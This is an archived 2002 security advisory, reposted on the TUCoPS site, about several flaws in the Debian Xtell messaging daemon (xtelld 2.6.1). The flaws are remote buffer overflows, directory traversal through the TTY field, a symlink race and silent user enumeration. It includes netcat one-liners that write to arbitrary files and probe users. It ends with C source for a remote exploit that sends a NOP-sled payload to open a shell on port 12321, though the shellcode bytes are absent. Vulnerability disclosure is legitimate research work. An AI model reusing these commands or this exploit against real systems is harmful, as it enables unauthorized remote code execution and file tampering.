Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Debian :: lnx5158.htm

Xtelld (Debian) buffer overflows, info leakage, arbitrary files
1st Mar 2002 [SBWID-5158]

	xtelld several buffer overflows, information  leakage,  arbitrary  files


	2.6.1, most of the vulnerabilities are present in all previous versions


	Spybreak found following :

	Xtell from the Debian Linux distribution is a network  messaging  client
	for sending messages to users on different computers. Xtell  2.6.1  with
	at least 3  remote  buffer  overflows,  symlink  bug,  \"..\"  directory
	traversal, file race condition (just mention some of them ...) and  some
	\"nice\" extra features can be a \"funny\" thing on ones computer.

	Debian Linux distributes versions 1.91 and 2.6.1  (the  latest  version)
	but there do exist numerous versions between these two.

	Xtell can be run as daemon or from inetd. In  the  default  installation
	it runs as \'nobody\'  with  GID  tty  and  listens  on  the  port  4224
	(default Xtell port). However even an ordinary  user  can  run  his  own
	Xtell server, with his/her UID/GID of course. As  the  portnumber  which
	the Xtelld listens on is fully configurable,  there  can  be  more  than
	just one running Xtell server at the same time. Xtelld  servers  run  by
	ordinary users  are  not  so  rare  to  see,  especially  on  university
	computers without xtelld installed by admin.




	Xtell 2.6.1 contains at least three remote buffer overflows.

	Anyone with own DNS service can remotely execute arbitrary code  through
	a buffer overflow in the reverse resolving code in  the  xtelld  server,
	with the UID xtelld runs under.

	Next, due to the absence of length check of  the  auth  string  obtained
	from the auth service, an output buffer can  be  overflowed.  So  anyone
	with fakeident server is able to remotely execute arbitrary code on  the
	target system.

	Finally the output buffer can be overflowed by the data itself  sent  to
	the port 4224 (without playing with DNS or auth) depending on  the  size
	of the strings returned by these services without any manipulation.  But
	playing with services gives instant results.

	For more see the EXPLOIT part.





	Of all of these possibilities I chose to send the exploit  code  through
	the xtelld  port  while  setting  my  ident  string  to  length  of  200
	characters to make it closer to  the  end  of  the  output  buffer  (our

	The remote exploit (on the tail of this file)  spawns  a  shell  on  the
	port 12321 with the UID/GID of the xtelld server what is  nobody/tty  by
	default. Play a little with the  offset  and  alignment.  Should  be  no
	problems to get it work. Do not forget to set  your  ident  string.  The
	alignment is critical as the position of the exploit code in the  output
	buffer depends on the length of various strings in the output buffer.

	But even without the exploit (patched kernel,  etc  ...)  there  can  be
	some fun with xtelld.

	The server (xtelld) receives strings sent by the client (xtell)  in  the
	following form:





	FROM is the sender of the message, USER is the person we  want  to  send
	message, TTY is the destination tty we want our message  write  to,  and
	finally MSG is our message. TTY can be max.  8  characters  long.  After
	such message an xtelld server replies with some status  message  to  the

	Now how xtelld handles these different fields. Most interesting are  the
	USER and TTY fields. You should supply at least  USER  or  TTY.  If  you
	supply only USER, xtelld will send  your  message  to  the  USER\'s  tty
	provided he is logged in, and will search for  .xtell-log  file  in  the
	USER\'s home directory to log the message.

	If you supply only TTY, xtelld will send your message to that tty if  it
	is writable by the xtelld server.

	If you supply both USER and TTY, xtelld first tries to write to TTY  and
	then tries to find USER\'s .xtell-log file for logging. Doesn\'t  matter
	if USER is a valid username on the target system.

	Now a funny secret. Xtelld believes that TTY is a valid tty,  it  simply
	places it under \"/dev/\" and tries to blindly write into it. No  checks
	for valid tty belonging  to  logged  in  user  USER.  Therefore  we  can
	directly write some junk into any device under /dev, writable by  xtelld
	(default nobody/tty).

	And due to a directory traversal possibility, with local access  we  can
	do: (especially interesting when xtelld run by some user)


	        ln -s some-users-file /tmp/x

	        echo ::../tmp/x:junk | nc localhost 4224



	or with the client:


	        xtell :../tmp/x@localhost junk



	Recall that TTY can be max. 8 chars long. With  netcat  variant  we  can
	easily control the FROM field.

	Why use that old-fashioned finger?

	Try to send a \"little\" longer message. When  the  user  is  logged  in
	you\'ll get:


	        $ echo :USER::`perl -e \'print \"A\" x 2000\'`| nc victimhost 4224

	        200 OK, sent.

	        406 Ehhh, what?





	        405 Cannot write to that user\'s tty.

	        406 Ehhh, what?





	        404 User does not want you.

	        406 Ehhh, what?



	if he\'s not:


	        403 User is not here.

	        406 Ehhh, what?



	Provided that USER is a valid login name. Stealthy, without any logs.

	On the target \"TTY\" xtelld tries to show (besides the MSG)  some  info
	on the sender of the message - the USER field, user resolved by  identd,
	IP or resolved FQDN. With crazy combinations of different field  lengths
	(differ between versions) it is posible to make xtelld  fail  to  output
	the senders address. In such cases xtelld outputs only the  FROM  :  MSG
	fields, which can be easily  manipulated.This  way  it  is  possible  to
	quietly remotely fill with trash  someones  .xtell-log  file,  providing
	\"null\" as the TTY, to avoid output to that USER\'s tty,  or  fill  the
	/tmp directory.

	There is also a race condition in checking for  the  regularity  of  the
	.xtell-log file ...


	------------------------- snip --------------------------------

	cat >xtelld261.c <<EOF


	#include <stdio.h>

	#include <unistd.h>

	#include <errno.h>

	#include <netdb.h>

	#include <netinet/in.h>



	 *      Remote exploit for Xtelld 2.6.1 and older

	 *      Spawns shell on port 12321

	 *      Don\'t forget to set your identd string to 200 characters

	 *      Tested against Red Hat 7.2, 7.1; Debian Potato

	 *      (c) 2002 Spybreak (



	#define RET     0xbffff5a0


	char sc[] =



















	usage (char *exp)


	  fprintf (stderr, \"Remote exploit for xtelld 2.6.1 and older.\\n\"

	           \"Spawns shell on port 12321.\\n\"  

	           \"-- (c) 2002/2 Spybreak --\\n\"

	           \"Usage: %s [options] target\\n\", exp);

	  fprintf (stderr, \"Options: -a alignment (default 0)\\n\"

	           \"         -o offset (default 0)\\n\"

	           \"         -p port (default 4224)\\n\");

	  exit (-1);




	main (int argc, char **argv)



	  int c, s, i, size, port = 4224;

	  int ret = RET, alignment = 0;

	  struct sockaddr_in target;

	  struct hostent *host;

	  char payload[1078];


	  opterr = 0;


	  while ((c = getopt (argc, argv, \"a:o:p:\")) != -1)

	    switch (c)


	      case \'a\':

	        alignment = atoi (optarg);


	      case \'o\':

	        ret += atoi (optarg);


	      case \'p\':

	        port = atoi (optarg);



	        usage (argv[0]);

	        exit (1);



	  if (!argv[optind])


	      puts (\"no target!\");

	      usage (argv[0]);




	  printf (\"Using: TARGET: %s\\tPORT: %d\\tADDR: %x\\t ALIGN: %d\\n\",

	          argv[optind], port, ret, alignment);


	  for (i = 0; i < 540; i++)  

	    payload[i] = 0x90;


	  for (i = 540; i <= 1072; i += 4)

	    *((int *) (payload + i)) = ret;



	  memcpy (payload + 540, sc, sizeof (sc) - 1);

	  memcpy (payload, \"01234567890123456789::null:;-)\", 30);

	  payload[1077 + alignment] = \'\\n\';


	  host = gethostbyname (argv[1]);

	  if (host == NULL)


	      perror (\"gethostbyname\");

	      return (-1);



	  s = socket (AF_INET, SOCK_STREAM, 0);

	  if (s < 0)


	      perror (\"socket\");     

	      return (-1);



	  target.sin_family = AF_INET;

	  target.sin_addr = *((struct in_addr *) host->h_addr);

	  target.sin_port = htons (port);


	  if (connect (s, (struct sockaddr *) &target, sizeof (target)) == -1)


	      perror (\"connect\");

	      close (s);   

	      return (-1);



	  size = send (s, payload + alignment, 1078, 0);

	  if (size == -1)


	      perror (\"send\");

	      close (s);

	      return (-1);



	  close (s);

	  return (0);







	Nothing yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH